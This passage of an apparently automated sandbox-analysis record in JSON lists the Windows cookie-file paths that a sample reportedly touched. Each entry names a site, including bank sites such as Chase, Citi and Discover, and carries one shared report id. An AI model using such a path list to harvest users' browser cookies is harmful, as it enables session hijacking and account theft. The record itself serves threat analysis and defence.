report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bing[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@blackberry[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@blinkx[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@blogcu[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bloomberg[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bluekai[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@boldchat[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@booking[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@break[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@brothersoft[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@btrll[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bttrack[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@buenastareas[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@buycheapr[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@buzzle[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c.appier[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c.bing[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c.msn[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c.t-online[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c1.microsoft[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c3tag[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CA2H84K3.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CA2PEOSH.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CA6UJTVK.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CA9PF40B.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAACZOG5.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAE1SZGZ.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAGW7CDR.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAISFVR1.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@caixa.gov[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAM50QZO.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAOB1WXI.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAPRONUA.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CARTCJ6U.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@casalemedia[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@casino.partycasino[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAZQHD8E.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ca[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cbsi[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cbslocal[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cbs[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cdn.at.atwola[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@chango[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@chase[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@chip[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@chomikuj[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@citi[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@citysearch[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@classmates[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cncn[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@collective-media[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@collector.thebigwillow[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@com-lenovo.netmng[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@commander1[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@connexity[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@constantcontact[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[10].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[11].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[4].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[5].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[6].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[7].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[8].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[9].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.discover[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@contextweb[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@convertro[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cookie.gazeta[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@corriere[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@count.pclady.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@count5.pconline.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cox[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cpro.baidu[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@craigslist[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@craigslist[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@creativecdn[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@criteo[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@crsspxl[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@crwdcntrl[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cstatic.weborama[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ctnsnet[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ctrip[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cxense[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cyad.nate[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cyad1.nate[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@d.adroll[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@d.liadm[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@daily.co[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dailymail.co[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dangdang[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@de.surveymonkey[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@de.wwe[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@de17a[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dell[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@deltaairlines.tt.omtrdc[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@delta[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@demdex[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@deqwas[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@deviantart[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@discovercard[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@discover[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dmtracker[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dmtry[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dol.deliver.ifeng[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dolphin.deliver.ifeng[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@domaintools[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dotomi[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@doubleclick[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dpm.demdex[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dsp[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@duote[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dynad[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dynamicyield[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dyntrk[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebay.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebay[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebay[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebay[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebuddy[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eco-tag[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@edition.cnn[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@el-mundo[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eloqua[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@en.softonic[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@engine.4dsply[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eo.demdex[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eol[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eonline[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@es.groupalia[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@esprit[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@estara[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@etsy[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@europa[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@euroresidentes[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@everesttech[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@evite[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@exelator[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eyeota[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eyereturn[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eyeviewads[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fastclick[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fidelity-media[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@filefreak[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@filesonic[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fixya[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@flashtalking[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fout[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@foxsports[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@freeonlinegames[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@fy.tiexue[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@g.58[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gamezer[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gazeta[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@geo-um.btrll[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@girlsgogames[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@glam[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@glispa[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gloomwrite[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gnavi.co[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@go.addthis[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Co